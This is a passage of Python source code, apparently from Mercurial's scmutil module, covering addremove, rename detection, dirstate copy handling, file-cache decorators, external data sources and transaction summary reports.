1217 1217 added, unknown, deleted, removed, forgotten = _interestingfiles(
1218 1218 repo, badmatch
1219 1219 )
1220 1220
1221 1221 unknownset = set(unknown + forgotten)
1222 1222 toprint = unknownset.copy()
1223 1223 toprint.update(deleted)
1224 1224 for abs in sorted(toprint):
1225 1225 if repo.ui.verbose or not m.exact(abs):
1226 1226 if abs in unknownset:
1227 1227 status = _(b'adding %s\n') % uipathfn(abs)
1228 1228 label = b'ui.addremove.added'
1229 1229 else:
1230 1230 status = _(b'removing %s\n') % uipathfn(abs)
1231 1231 label = b'ui.addremove.removed'
1232 1232 repo.ui.status(status, label=label)
1233 1233
1234 1234 renames = _findrenames(
1235 1235 repo, m, added + unknown, removed + deleted, similarity, uipathfn
1236 1236 )
1237 1237
1238 1238 if not dry_run:
1239 1239 _markchanges(repo, unknown + forgotten, deleted, renames)
1240 1240
1241 1241 for f in rejected:
1242 1242 if f in m.files():
1243 1243 return 1
1244 1244 return ret
1245 1245
1246 1246
1247 1247 def marktouched(repo, files, similarity=0.0):
1248 1248 '''Assert that files have somehow been operated upon. files are relative to
1249 1249 the repo root.'''
1250 1250 m = matchfiles(repo, files, badfn=lambda x, y: rejected.append(x))
1251 1251 rejected = []
1252 1252
1253 1253 added, unknown, deleted, removed, forgotten = _interestingfiles(repo, m)
1254 1254
1255 1255 if repo.ui.verbose:
1256 1256 unknownset = set(unknown + forgotten)
1257 1257 toprint = unknownset.copy()
1258 1258 toprint.update(deleted)
1259 1259 for abs in sorted(toprint):
1260 1260 if abs in unknownset:
1261 1261 status = _(b'adding %s\n') % abs
1262 1262 else:
1263 1263 status = _(b'removing %s\n') % abs
1264 1264 repo.ui.status(status)
1265 1265
1266 1266 # TODO: We should probably have the caller pass in uipathfn and apply it to
1267 1267 # the messages above too. legacyrelativevalue=True is consistent with how
1268 1268 # it used to work.
1269 1269 uipathfn = getuipathfn(repo, legacyrelativevalue=True)
1270 1270 renames = _findrenames(
1271 1271 repo, m, added + unknown, removed + deleted, similarity, uipathfn
1272 1272 )
1273 1273
1274 1274 _markchanges(repo, unknown + forgotten, deleted, renames)
1275 1275
1276 1276 for f in rejected:
1277 1277 if f in m.files():
1278 1278 return 1
1279 1279 return 0
1280 1280
1281 1281
1282 1282 def _interestingfiles(repo, matcher):
1283 1283 '''Walk dirstate with matcher, looking for files that addremove would care
1284 1284 about.
1285 1285
1286 1286 This is different from dirstate.status because it doesn't care about
1287 1287 whether files are modified or clean.'''
1288 1288 added, unknown, deleted, removed, forgotten = [], [], [], [], []
1289 1289 audit_path = pathutil.pathauditor(repo.root, cached=True)
1290 1290
1291 1291 ctx = repo[None]
1292 1292 dirstate = repo.dirstate
1293 1293 matcher = repo.narrowmatch(matcher, includeexact=True)
1294 1294 walkresults = dirstate.walk(
1295 1295 matcher,
1296 1296 subrepos=sorted(ctx.substate),
1297 1297 unknown=True,
1298 1298 ignored=False,
1299 1299 full=False,
1300 1300 )
1301 1301 for abs, st in pycompat.iteritems(walkresults):
1302 1302 dstate = dirstate[abs]
1303 1303 if dstate == b'?' and audit_path.check(abs):
1304 1304 unknown.append(abs)
1305 1305 elif dstate != b'r' and not st:
1306 1306 deleted.append(abs)
1307 1307 elif dstate == b'r' and st:
1308 1308 forgotten.append(abs)
1309 1309 # for finding renames
1310 1310 elif dstate == b'r' and not st:
1311 1311 removed.append(abs)
1312 1312 elif dstate == b'a':
1313 1313 added.append(abs)
1314 1314
1315 1315 return added, unknown, deleted, removed, forgotten
1316 1316
1317 1317
1318 1318 def _findrenames(repo, matcher, added, removed, similarity, uipathfn):
1319 1319 '''Find renames from removed files to added ones.'''
1320 1320 renames = {}
1321 1321 if similarity > 0:
1322 1322 for old, new, score in similar.findrenames(
1323 1323 repo, added, removed, similarity
1324 1324 ):
1325 1325 if (
1326 1326 repo.ui.verbose
1327 1327 or not matcher.exact(old)
1328 1328 or not matcher.exact(new)
1329 1329 ):
1330 1330 repo.ui.status(
1331 1331 _(
1332 1332 b'recording removal of %s as rename to %s '
1333 1333 b'(%d%% similar)\n'
1334 1334 )
1335 1335 % (uipathfn(old), uipathfn(new), score * 100)
1336 1336 )
1337 1337 renames[new] = old
1338 1338 return renames
1339 1339
1340 1340
1341 1341 def _markchanges(repo, unknown, deleted, renames):
1342 1342 '''Marks the files in unknown as added, the files in deleted as removed,
1343 1343 and the files in renames as copied.'''
1344 1344 wctx = repo[None]
1345 1345 with repo.wlock():
1346 1346 wctx.forget(deleted)
1347 1347 wctx.add(unknown)
1348 1348 for new, old in pycompat.iteritems(renames):
1349 1349 wctx.copy(old, new)
1350 1350
1351 1351
1352 1352 def getrenamedfn(repo, endrev=None):
1353 1353 if copiesmod.usechangesetcentricalgo(repo):
1354 1354
1355 1355 def getrenamed(fn, rev):
1356 1356 ctx = repo[rev]
1357 1357 p1copies = ctx.p1copies()
1358 1358 if fn in p1copies:
1359 1359 return p1copies[fn]
1360 1360 p2copies = ctx.p2copies()
1361 1361 if fn in p2copies:
1362 1362 return p2copies[fn]
1363 1363 return None
1364 1364
1365 1365 return getrenamed
1366 1366
1367 1367 rcache = {}
1368 1368 if endrev is None:
1369 1369 endrev = len(repo)
1370 1370
1371 1371 def getrenamed(fn, rev):
1372 1372 '''looks up all renames for a file (up to endrev) the first
1373 1373 time the file is given. It indexes on the changerev and only
1374 1374 parses the manifest if linkrev != changerev.
1375 1375 Returns rename info for fn at changerev rev.'''
1376 1376 if fn not in rcache:
1377 1377 rcache[fn] = {}
1378 1378 fl = repo.file(fn)
1379 1379 for i in fl:
1380 1380 lr = fl.linkrev(i)
1381 1381 renamed = fl.renamed(fl.node(i))
1382 1382 rcache[fn][lr] = renamed and renamed[0]
1383 1383 if lr >= endrev:
1384 1384 break
1385 1385 if rev in rcache[fn]:
1386 1386 return rcache[fn][rev]
1387 1387
1388 1388 # If linkrev != rev (i.e. rev not found in rcache) fallback to
1389 1389 # filectx logic.
1390 1390 try:
1391 1391 return repo[rev][fn].copysource()
1392 1392 except error.LookupError:
1393 1393 return None
1394 1394
1395 1395 return getrenamed
1396 1396
1397 1397
1398 1398 def getcopiesfn(repo, endrev=None):
1399 1399 if copiesmod.usechangesetcentricalgo(repo):
1400 1400
1401 1401 def copiesfn(ctx):
1402 1402 if ctx.p2copies():
1403 1403 allcopies = ctx.p1copies().copy()
1404 1404 # There should be no overlap
1405 1405 allcopies.update(ctx.p2copies())
1406 1406 return sorted(allcopies.items())
1407 1407 else:
1408 1408 return sorted(ctx.p1copies().items())
1409 1409
1410 1410 else:
1411 1411 getrenamed = getrenamedfn(repo, endrev)
1412 1412
1413 1413 def copiesfn(ctx):
1414 1414 copies = []
1415 1415 for fn in ctx.files():
1416 1416 rename = getrenamed(fn, ctx.rev())
1417 1417 if rename:
1418 1418 copies.append((fn, rename))
1419 1419 return copies
1420 1420
1421 1421 return copiesfn
1422 1422
1423 1423
1424 1424 def dirstatecopy(ui, repo, wctx, src, dst, dryrun=False, cwd=None):
1425 1425 """Update the dirstate to reflect the intent of copying src to dst. For
1426 1426 different reasons it might not end with dst being marked as copied from src.
1427 1427 """
1428 1428 origsrc = repo.dirstate.copied(src) or src
1429 1429 if dst == origsrc: # copying back a copy?
1430 1430 if repo.dirstate[dst] not in b'mn' and not dryrun:
1431 1431 repo.dirstate.normallookup(dst)
1432 1432 else:
1433 1433 if repo.dirstate[origsrc] == b'a' and origsrc == src:
1434 1434 if not ui.quiet:
1435 1435 ui.warn(
1436 1436 _(
1437 1437 b"%s has not been committed yet, so no copy "
1438 1438 b"data will be stored for %s.\n"
1439 1439 )
1440 1440 % (repo.pathto(origsrc, cwd), repo.pathto(dst, cwd))
1441 1441 )
1442 1442 if repo.dirstate[dst] in b'?r' and not dryrun:
1443 1443 wctx.add([dst])
1444 1444 elif not dryrun:
1445 1445 wctx.copy(origsrc, dst)
1446 1446
1447 1447
1448 1448 def movedirstate(repo, newctx, match=None):
1449 1449 """Move the dirstate to newctx and adjust it as necessary.
1450 1450
1451 1451 A matcher can be provided as an optimization. It is probably a bug to pass
1452 1452 a matcher that doesn't match all the differences between the parent of the
1453 1453 working copy and newctx.
1454 1454 """
1455 1455 oldctx = repo[b'.']
1456 1456 ds = repo.dirstate
1457 1457 ds.setparents(newctx.node(), nullid)
1458 1458 copies = dict(ds.copies())
1459 1459 s = newctx.status(oldctx, match=match)
1460 1460 for f in s.modified:
1461 1461 if ds[f] == b'r':
1462 1462 # modified + removed -> removed
1463 1463 continue
1464 1464 ds.normallookup(f)
1465 1465
1466 1466 for f in s.added:
1467 1467 if ds[f] == b'r':
1468 1468 # added + removed -> unknown
1469 1469 ds.drop(f)
1470 1470 elif ds[f] != b'a':
1471 1471 ds.add(f)
1472 1472
1473 1473 for f in s.removed:
1474 1474 if ds[f] == b'a':
1475 1475 # removed + added -> normal
1476 1476 ds.normallookup(f)
1477 1477 elif ds[f] != b'r':
1478 1478 ds.remove(f)
1479 1479
1480 1480 # Merge old parent and old working dir copies
1481 1481 oldcopies = copiesmod.pathcopies(newctx, oldctx, match)
1482 1482 oldcopies.update(copies)
1483 1483 copies = dict(
1484 1484 (dst, oldcopies.get(src, src))
1485 1485 for dst, src in pycompat.iteritems(oldcopies)
1486 1486 )
1487 1487 # Adjust the dirstate copies
1488 1488 for dst, src in pycompat.iteritems(copies):
1489 1489 if src not in newctx or dst in newctx or ds[dst] != b'a':
1490 1490 src = None
1491 1491 ds.copy(src, dst)
1492 1492
1493 1493
1494 1494 def writerequires(opener, requirements):
1495 1495 with opener(b'requires', b'w', atomictemp=True) as fp:
1496 1496 for r in sorted(requirements):
1497 1497 fp.write(b"%s\n" % r)
1498 1498
1499 1499
1500 1500 class filecachesubentry(object):
1501 1501 def __init__(self, path, stat):
1502 1502 self.path = path
1503 1503 self.cachestat = None
1504 1504 self._cacheable = None
1505 1505
1506 1506 if stat:
1507 1507 self.cachestat = filecachesubentry.stat(self.path)
1508 1508
1509 1509 if self.cachestat:
1510 1510 self._cacheable = self.cachestat.cacheable()
1511 1511 else:
1512 1512 # None means we don't know yet
1513 1513 self._cacheable = None
1514 1514
1515 1515 def refresh(self):
1516 1516 if self.cacheable():
1517 1517 self.cachestat = filecachesubentry.stat(self.path)
1518 1518
1519 1519 def cacheable(self):
1520 1520 if self._cacheable is not None:
1521 1521 return self._cacheable
1522 1522
1523 1523 # we don't know yet, assume it is for now
1524 1524 return True
1525 1525
1526 1526 def changed(self):
1527 1527 # no point in going further if we can't cache it
1528 1528 if not self.cacheable():
1529 1529 return True
1530 1530
1531 1531 newstat = filecachesubentry.stat(self.path)
1532 1532
1533 1533 # we may not know if it's cacheable yet, check again now
1534 1534 if newstat and self._cacheable is None:
1535 1535 self._cacheable = newstat.cacheable()
1536 1536
1537 1537 # check again
1538 1538 if not self._cacheable:
1539 1539 return True
1540 1540
1541 1541 if self.cachestat != newstat:
1542 1542 self.cachestat = newstat
1543 1543 return True
1544 1544 else:
1545 1545 return False
1546 1546
1547 1547 @staticmethod
1548 1548 def stat(path):
1549 1549 try:
1550 1550 return util.cachestat(path)
1551 1551 except OSError as e:
1552 1552 if e.errno != errno.ENOENT:
1553 1553 raise
1554 1554
1555 1555
1556 1556 class filecacheentry(object):
1557 1557 def __init__(self, paths, stat=True):
1558 1558 self._entries = []
1559 1559 for path in paths:
1560 1560 self._entries.append(filecachesubentry(path, stat))
1561 1561
1562 1562 def changed(self):
1563 1563 '''true if any entry has changed'''
1564 1564 for entry in self._entries:
1565 1565 if entry.changed():
1566 1566 return True
1567 1567 return False
1568 1568
1569 1569 def refresh(self):
1570 1570 for entry in self._entries:
1571 1571 entry.refresh()
1572 1572
1573 1573
1574 1574 class filecache(object):
1575 1575 """A property like decorator that tracks files under .hg/ for updates.
1576 1576
1577 1577 On first access, the files defined as arguments are stat()ed and the
1578 1578 results cached. The decorated function is called. The results are stashed
1579 1579 away in a ``_filecache`` dict on the object whose method is decorated.
1580 1580
1581 1581 On subsequent access, the cached result is used as it is set to the
1582 1582 instance dictionary.
1583 1583
1584 1584 On external property set/delete operations, the caller must update the
1585 1585 corresponding _filecache entry appropriately. Use __class__.<attr>.set()
1586 1586 instead of directly setting <attr>.
1587 1587
1588 1588 When using the property API, the cached data is always used if available.
1589 1589 No stat() is performed to check if the file has changed.
1590 1590
1591 1591 Others can muck about with the state of the ``_filecache`` dict. e.g. they
1592 1592 can populate an entry before the property's getter is called. In this case,
1593 1593 entries in ``_filecache`` will be used during property operations,
1594 1594 if available. If the underlying file changes, it is up to external callers
1595 1595 to reflect this by e.g. calling ``delattr(obj, attr)`` to remove the cached
1596 1596 method result as well as possibly calling ``del obj._filecache[attr]`` to
1597 1597 remove the ``filecacheentry``.
1598 1598 """
1599 1599
1600 1600 def __init__(self, *paths):
1601 1601 self.paths = paths
1602 1602
1603 1603 def join(self, obj, fname):
1604 1604 """Used to compute the runtime path of a cached file.
1605 1605
1606 1606 Users should subclass filecache and provide their own version of this
1607 1607 function to call the appropriate join function on 'obj' (an instance
1608 1608 of the class that its member function was decorated).
1609 1609 """
1610 1610 raise NotImplementedError
1611 1611
1612 1612 def __call__(self, func):
1613 1613 self.func = func
1614 1614 self.sname = func.__name__
1615 1615 self.name = pycompat.sysbytes(self.sname)
1616 1616 return self
1617 1617
1618 1618 def __get__(self, obj, type=None):
1619 1619 # if accessed on the class, return the descriptor itself.
1620 1620 if obj is None:
1621 1621 return self
1622 1622
1623 1623 assert self.sname not in obj.__dict__
1624 1624
1625 1625 entry = obj._filecache.get(self.name)
1626 1626
1627 1627 if entry:
1628 1628 if entry.changed():
1629 1629 entry.obj = self.func(obj)
1630 1630 else:
1631 1631 paths = [self.join(obj, path) for path in self.paths]
1632 1632
1633 1633 # We stat -before- creating the object so our cache doesn't lie if
1634 1634 # a writer modified between the time we read and stat
1635 1635 entry = filecacheentry(paths, True)
1636 1636 entry.obj = self.func(obj)
1637 1637
1638 1638 obj._filecache[self.name] = entry
1639 1639
1640 1640 obj.__dict__[self.sname] = entry.obj
1641 1641 return entry.obj
1642 1642
1643 1643 # don't implement __set__(), which would make __dict__ lookup as slow as
1644 1644 # function call.
1645 1645
1646 1646 def set(self, obj, value):
1647 1647 if self.name not in obj._filecache:
1648 1648 # we add an entry for the missing value because X in __dict__
1649 1649 # implies X in _filecache
1650 1650 paths = [self.join(obj, path) for path in self.paths]
1651 1651 ce = filecacheentry(paths, False)
1652 1652 obj._filecache[self.name] = ce
1653 1653 else:
1654 1654 ce = obj._filecache[self.name]
1655 1655
1656 1656 ce.obj = value # update cached copy
1657 1657 obj.__dict__[self.sname] = value # update copy returned by obj.x
1658 1658
1659 1659
1660 1660 def extdatasource(repo, source):
1661 1661 """Gather a map of rev -> value dict from the specified source
1662 1662
1663 1663 A source spec is treated as a URL, with a special case shell: type
1664 1664 for parsing the output from a shell command.
1665 1665
1666 1666 The data is parsed as a series of newline-separated records where
1667 1667 each record is a revision specifier optionally followed by a space
1668 1668 and a freeform string value. If the revision is known locally, it
1669 1669 is converted to a rev, otherwise the record is skipped.
1670 1670
1671 1671 Note that both key and value are treated as UTF-8 and converted to
1672 1672 the local encoding. This allows uniformity between local and
1673 1673 remote data sources.
1674 1674 """
1675 1675
1676 1676 spec = repo.ui.config(b"extdata", source)
1677 1677 if not spec:
1678 1678 raise error.Abort(_(b"unknown extdata source '%s'") % source)
1679 1679
1680 1680 data = {}
1681 1681 src = proc = None
1682 1682 try:
1683 1683 if spec.startswith(b"shell:"):
1684 1684 # external commands should be run relative to the repo root
1685 1685 cmd = spec[6:]
1686 1686 proc = subprocess.Popen(
1687 1687 procutil.tonativestr(cmd),
1688 1688 shell=True,
1689 1689 bufsize=-1,
1690 1690 close_fds=procutil.closefds,
1691 1691 stdout=subprocess.PIPE,
1692 1692 cwd=procutil.tonativestr(repo.root),
1693 1693 )
1694 1694 src = proc.stdout
1695 1695 else:
1696 1696 # treat as a URL or file
1697 1697 src = url.open(repo.ui, spec)
1698 1698 for l in src:
1699 1699 if b" " in l:
1700 1700 k, v = l.strip().split(b" ", 1)
1701 1701 else:
1702 1702 k, v = l.strip(), b""
1703 1703
1704 1704 k = encoding.tolocal(k)
1705 1705 try:
1706 1706 data[revsingle(repo, k).rev()] = encoding.tolocal(v)
1707 1707 except (error.LookupError, error.RepoLookupError):
1708 1708 pass # we ignore data for nodes that don't exist locally
1709 1709 finally:
1710 1710 if proc:
1711 1711 try:
1712 1712 proc.communicate()
1713 1713 except ValueError:
1714 1714 # This happens if we started iterating src and then
1715 1715 # get a parse error on a line. It should be safe to ignore.
1716 1716 pass
1717 1717 if src:
1718 1718 src.close()
1719 1719 if proc and proc.returncode != 0:
1720 1720 raise error.Abort(
1721 1721 _(b"extdata command '%s' failed: %s")
1722 1722 % (cmd, procutil.explainexit(proc.returncode))
1723 1723 )
1724 1724
1725 1725 return data
1726 1726
1727 1727
1728 1728 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
1729 1729 if lock is None:
1730 1730 raise error.LockInheritanceContractViolation(
1731 1731 b'lock can only be inherited while held'
1732 1732 )
1733 1733 if environ is None:
1734 1734 environ = {}
1735 1735 with lock.inherit() as locker:
1736 1736 environ[envvar] = locker
1737 1737 return repo.ui.system(cmd, environ=environ, *args, **kwargs)
1738 1738
1739 1739
1740 1740 def wlocksub(repo, cmd, *args, **kwargs):
1741 1741 """run cmd as a subprocess that allows inheriting repo's wlock
1742 1742
1743 1743 This can only be called while the wlock is held. This takes all the
1744 1744 arguments that ui.system does, and returns the exit code of the
1745 1745 subprocess."""
1746 1746 return _locksub(
1747 1747 repo, repo.currentwlock(), b'HG_WLOCK_LOCKER', cmd, *args, **kwargs
1748 1748 )
1749 1749
1750 1750
1751 1751 class progress(object):
1752 1752 def __init__(self, ui, updatebar, topic, unit=b"", total=None):
1753 1753 self.ui = ui
1754 1754 self.pos = 0
1755 1755 self.topic = topic
1756 1756 self.unit = unit
1757 1757 self.total = total
1758 1758 self.debug = ui.configbool(b'progress', b'debug')
1759 1759 self._updatebar = updatebar
1760 1760
1761 1761 def __enter__(self):
1762 1762 return self
1763 1763
1764 1764 def __exit__(self, exc_type, exc_value, exc_tb):
1765 1765 self.complete()
1766 1766
1767 1767 def update(self, pos, item=b"", total=None):
1768 1768 assert pos is not None
1769 1769 if total:
1770 1770 self.total = total
1771 1771 self.pos = pos
1772 1772 self._updatebar(self.topic, self.pos, item, self.unit, self.total)
1773 1773 if self.debug:
1774 1774 self._printdebug(item)
1775 1775
1776 1776 def increment(self, step=1, item=b"", total=None):
1777 1777 self.update(self.pos + step, item, total)
1778 1778
1779 1779 def complete(self):
1780 1780 self.pos = None
1781 1781 self.unit = b""
1782 1782 self.total = None
1783 1783 self._updatebar(self.topic, self.pos, b"", self.unit, self.total)
1784 1784
1785 1785 def _printdebug(self, item):
1786 1786 if self.unit:
1787 1787 unit = b' ' + self.unit
1788 1788 if item:
1789 1789 item = b' ' + item
1790 1790
1791 1791 if self.total:
1792 1792 pct = 100.0 * self.pos / self.total
1793 1793 self.ui.debug(
1794 1794 b'%s:%s %d/%d%s (%4.2f%%)\n'
1795 1795 % (self.topic, item, self.pos, self.total, unit, pct)
1796 1796 )
1797 1797 else:
1798 1798 self.ui.debug(b'%s:%s %d%s\n' % (self.topic, item, self.pos, unit))
1799 1799
1800 1800
1801 1801 def gdinitconfig(ui):
1802 1802 """helper function to know if a repo should be created as general delta
1803 1803 """
1804 1804 # experimental config: format.generaldelta
1805 1805 return ui.configbool(b'format', b'generaldelta') or ui.configbool(
1806 1806 b'format', b'usegeneraldelta'
1807 1807 )
1808 1808
1809 1809
1810 1810 def gddeltaconfig(ui):
1811 1811 """helper function to know if incoming delta should be optimised
1812 1812 """
1813 1813 # experimental config: format.generaldelta
1814 1814 return ui.configbool(b'format', b'generaldelta')
1815 1815
1816 1816
1817 1817 class simplekeyvaluefile(object):
1818 1818 """A simple file with key=value lines
1819 1819
1820 1820 Keys must be alphanumerics and start with a letter, values must not
1821 1821 contain '\n' characters"""
1822 1822
1823 1823 firstlinekey = b'__firstline'
1824 1824
1825 1825 def __init__(self, vfs, path, keys=None):
1826 1826 self.vfs = vfs
1827 1827 self.path = path
1828 1828
1829 1829 def read(self, firstlinenonkeyval=False):
1830 1830 """Read the contents of a simple key-value file
1831 1831
1832 1832 'firstlinenonkeyval' indicates whether the first line of file should
1833 1833 be treated as a key-value pair or reuturned fully under the
1834 1834 __firstline key."""
1835 1835 lines = self.vfs.readlines(self.path)
1836 1836 d = {}
1837 1837 if firstlinenonkeyval:
1838 1838 if not lines:
1839 1839 e = _(b"empty simplekeyvalue file")
1840 1840 raise error.CorruptedState(e)
1841 1841 # we don't want to include '\n' in the __firstline
1842 1842 d[self.firstlinekey] = lines[0][:-1]
1843 1843 del lines[0]
1844 1844
1845 1845 try:
1846 1846 # the 'if line.strip()' part prevents us from failing on empty
1847 1847 # lines which only contain '\n' therefore are not skipped
1848 1848 # by 'if line'
1849 1849 updatedict = dict(
1850 1850 line[:-1].split(b'=', 1) for line in lines if line.strip()
1851 1851 )
1852 1852 if self.firstlinekey in updatedict:
1853 1853 e = _(b"%r can't be used as a key")
1854 1854 raise error.CorruptedState(e % self.firstlinekey)
1855 1855 d.update(updatedict)
1856 1856 except ValueError as e:
1857 1857 raise error.CorruptedState(stringutil.forcebytestr(e))
1858 1858 return d
1859 1859
1860 1860 def write(self, data, firstline=None):
1861 1861 """Write key=>value mapping to a file
1862 1862 data is a dict. Keys must be alphanumerical and start with a letter.
1863 1863 Values must not contain newline characters.
1864 1864
1865 1865 If 'firstline' is not None, it is written to file before
1866 1866 everything else, as it is, not in a key=value form"""
1867 1867 lines = []
1868 1868 if firstline is not None:
1869 1869 lines.append(b'%s\n' % firstline)
1870 1870
1871 1871 for k, v in data.items():
1872 1872 if k == self.firstlinekey:
1873 1873 e = b"key name '%s' is reserved" % self.firstlinekey
1874 1874 raise error.ProgrammingError(e)
1875 1875 if not k[0:1].isalpha():
1876 1876 e = b"keys must start with a letter in a key-value file"
1877 1877 raise error.ProgrammingError(e)
1878 1878 if not k.isalnum():
1879 1879 e = b"invalid key name in a simple key-value file"
1880 1880 raise error.ProgrammingError(e)
1881 1881 if b'\n' in v:
1882 1882 e = b"invalid value in a simple key-value file"
1883 1883 raise error.ProgrammingError(e)
1884 1884 lines.append(b"%s=%s\n" % (k, v))
1885 1885 with self.vfs(self.path, mode=b'wb', atomictemp=True) as fp:
1886 1886 fp.write(b''.join(lines))
1887 1887
1888 1888
1889 1889 _reportobsoletedsource = [
1890 1890 b'debugobsolete',
1891 1891 b'pull',
1892 1892 b'push',
1893 1893 b'serve',
1894 1894 b'unbundle',
1895 1895 ]
1896 1896
1897 1897 _reportnewcssource = [
1898 1898 b'pull',
1899 1899 b'unbundle',
1900 1900 ]
1901 1901
1902 1902
1903 1903 def prefetchfiles(repo, revs, match):
1904 1904 """Invokes the registered file prefetch functions, allowing extensions to
1905 1905 ensure the corresponding files are available locally, before the command
1906 1906 uses them."""
1907 1907 if match:
1908 1908 # The command itself will complain about files that don't exist, so
1909 1909 # don't duplicate the message.
1910 1910 match = matchmod.badmatch(match, lambda fn, msg: None)
1911 1911 else:
1912 1912 match = matchall(repo)
1913 1913
1914 1914 fileprefetchhooks(repo, revs, match)
1915 1915
1916 1916
1917 1917 # a list of (repo, revs, match) prefetch functions
1918 1918 fileprefetchhooks = util.hooks()
1919 1919
1920 1920 # A marker that tells the evolve extension to suppress its own reporting
1921 1921 _reportstroubledchangesets = True
1922 1922
1923 1923
1924 1924 def registersummarycallback(repo, otr, txnname=b''):
1925 1925 """register a callback to issue a summary after the transaction is closed
1926 1926 """
1927 1927
1928 1928 def txmatch(sources):
1929 1929 return any(txnname.startswith(source) for source in sources)
1930 1930
1931 1931 categories = []
1932 1932
1933 1933 def reportsummary(func):
1934 1934 """decorator for report callbacks."""
1935 1935 # The repoview life cycle is shorter than the one of the actual
1936 1936 # underlying repository. So the filtered object can die before the
1937 1937 # weakref is used leading to troubles. We keep a reference to the
1938 1938 # unfiltered object and restore the filtering when retrieving the
1939 1939 # repository through the weakref.
1940 1940 filtername = repo.filtername
1941 1941 reporef = weakref.ref(repo.unfiltered())
1942 1942
1943 1943 def wrapped(tr):
1944 1944 repo = reporef()
1945 1945 if filtername:
1946 1946 repo = repo.filtered(filtername)
1947 1947 func(repo, tr)
1948 1948
1949 1949 newcat = b'%02i-txnreport' % len(categories)
1950 1950 otr.addpostclose(newcat, wrapped)
1951 1951 categories.append(newcat)
1952 1952 return wrapped
1953 1953
1954 1954 @reportsummary
1955 1955 def reportchangegroup(repo, tr):
1956 1956 cgchangesets = tr.changes.get(b'changegroup-count-changesets', 0)
1957 1957 cgrevisions = tr.changes.get(b'changegroup-count-revisions', 0)
1958 1958 cgfiles = tr.changes.get(b'changegroup-count-files', 0)
1959 1959 cgheads = tr.changes.get(b'changegroup-count-heads', 0)
1960 1960 if cgchangesets or cgrevisions or cgfiles:
1961 1961 htext = b""
1962 1962 if cgheads:
1963 1963 htext = _(b" (%+d heads)") % cgheads
1964 1964 msg = _(b"added %d changesets with %d changes to %d files%s\n")
1965 1965 repo.ui.status(msg % (cgchangesets, cgrevisions, cgfiles, htext))
1966 1966
1967 1967 if txmatch(_reportobsoletedsource):
1968 1968
1969 1969 @reportsummary
1970 1970 def reportobsoleted(repo, tr):
1971 1971 obsoleted = obsutil.getobsoleted(repo, tr)
1972 1972 newmarkers = len(tr.changes.get(b'obsmarkers', ()))
1973 1973 if newmarkers:
1974 1974 repo.ui.status(_(b'%i new obsolescence markers\n') % newmarkers)
1975 1975 if obsoleted:
1976 1976 repo.ui.status(_(b'obsoleted %i changesets\n') % len(obsoleted))
1977 1977
1978 1978 if obsolete.isenabled(
1979 1979 repo, obsolete.createmarkersopt
1980 1980 ) and repo.ui.configbool(
1981 1981 b'experimental', b'evolution.report-instabilities'
1982 1982 ):
1983 1983 instabilitytypes = [
1984 1984 (b'orphan', b'orphan'),
1985 1985 (b'phase-divergent', b'phasedivergent'),
1986 1986 (b'content-divergent', b'contentdivergent'),
1987 1987 ]
1988 1988
1989 1989 def getinstabilitycounts(repo):
1990 1990 filtered = repo.changelog.filteredrevs
1991 1991 counts = {}
1992 1992 for instability, revset in instabilitytypes:
1993 1993 counts[instability] = len(
1994 1994 set(obsolete.getrevs(repo, revset)) - filtered
1995 1995 )
1996 1996 return counts
1997 1997
1998 1998 oldinstabilitycounts = getinstabilitycounts(repo)
1999 1999
2000 2000 @reportsummary
2001 2001 def reportnewinstabilities(repo, tr):
2002 2002 newinstabilitycounts = getinstabilitycounts(repo)
2003 2003 for instability, revset in instabilitytypes:
2004 2004 delta = (
2005 2005 newinstabilitycounts[instability]
2006 2006 - oldinstabilitycounts[instability]
2007 2007 )
2008 2008 msg = getinstabilitymessage(delta, instability)
2009 2009 if msg:
2010 2010 repo.ui.warn(msg)
2011 2011
2012 2012 if txmatch(_reportnewcssource):
2013 2013
2014 2014 @reportsummary
2015 2015 def reportnewcs(repo, tr):
2016 2016 """Report the range of new revisions pulled/unbundled."""
2017 2017 origrepolen = tr.changes.get(b'origrepolen', len(repo))
2018 2018 unfi = repo.unfiltered()
2019 2019 if origrepolen >= len(unfi):
2020 2020 return
2021 2021
2022 2022 # Compute the bounds of new visible revisions' range.
2023 2023 revs = smartset.spanset(repo, start=origrepolen)
2024 2024 if revs:
2025 2025 minrev, maxrev = repo[revs.min()], repo[revs.max()]
2026 2026
2027 2027 if minrev == maxrev:
2028 2028 revrange = minrev
2029 2029 else:
2030 2030 revrange = b'%s:%s' % (minrev, maxrev)
2031 2031 draft = len(repo.revs(b'%ld and draft()', revs))
2032 2032 secret = len(repo.revs(b'%ld and secret()', revs))
2033 2033 if not (draft or secret):
2034 2034 msg = _(b'new changesets %s\n') % revrange
2035 2035 elif draft and secret:
2036 2036 msg = _(b'new changesets %s (%d drafts, %d secrets)\n')
2037 2037 msg %= (revrange, draft, secret)
2038 2038 elif draft:
2039 2039 msg = _(b'new changesets %s (%d drafts)\n')
2040 2040 msg %= (revrange, draft)
2041 2041 elif secret:
2042 2042 msg = _(b'new changesets %s (%d secrets)\n')
2043 2043 msg %= (revrange, secret)
2044 2044 else:
2045 2045 errormsg = b'entered unreachable condition'
2046 2046 raise error.ProgrammingError(errormsg)
2047 2047 repo.ui.status(msg)
2048 2048
2049 2049 # search new changesets directly pulled as obsolete
2050 2050 duplicates = tr.changes.get(b'revduplicates', ())
2051 2051 obsadded = unfi.revs(
2052 2052 b'(%d: + %ld) and obsolete()', origrepolen, duplicates
2053 2053 )
2054 2054 cl = repo.changelog
2055 2055 extinctadded = [r for r in obsadded if r not in cl]
2056 2056 if extinctadded:
2057 2057 # They are not just obsolete, but obsolete and invisible
2058 2058 # we call them "extinct" internally but the terms have not been
2059 2059 # exposed to users.
2060 2060 msg = b'(%d other changesets obsolete on arrival)\n'
2061 2061 repo.ui.status(msg % len(extinctadded))
2062 2062
2063 2063 @reportsummary
2064 2064 def reportphasechanges(repo, tr):
2065 2065 """Report statistics of phase changes for changesets pre-existing
2066 2066 pull/unbundle.
2067 2067 """
2068 2068 origrepolen = tr.changes.get(b'origrepolen', len(repo))
2069 2069 phasetracking = tr.changes.get(b'phases', {})
2070 2070 if not phasetracking:
2071 2071 return
2072 2072 published = [
2073 2073 rev
2074 2074 for rev, (old, new) in pycompat.iteritems(phasetracking)
2075 2075 if new == phases.public and rev < origrepolen
2076 2076 ]
2077 2077 if not published:
2078 2078 return
2079 2079 repo.ui.status(
2080 2080 _(b'%d local changesets published\n') % len(published)
2081 2081 )
2082 2082
2083 2083
2084 2084 def getinstabilitymessage(delta, instability):
2085 2085 """function to return the message to show warning about new instabilities
2086 2086
2087 2087 exists as a separate function so that extension can wrap to show more
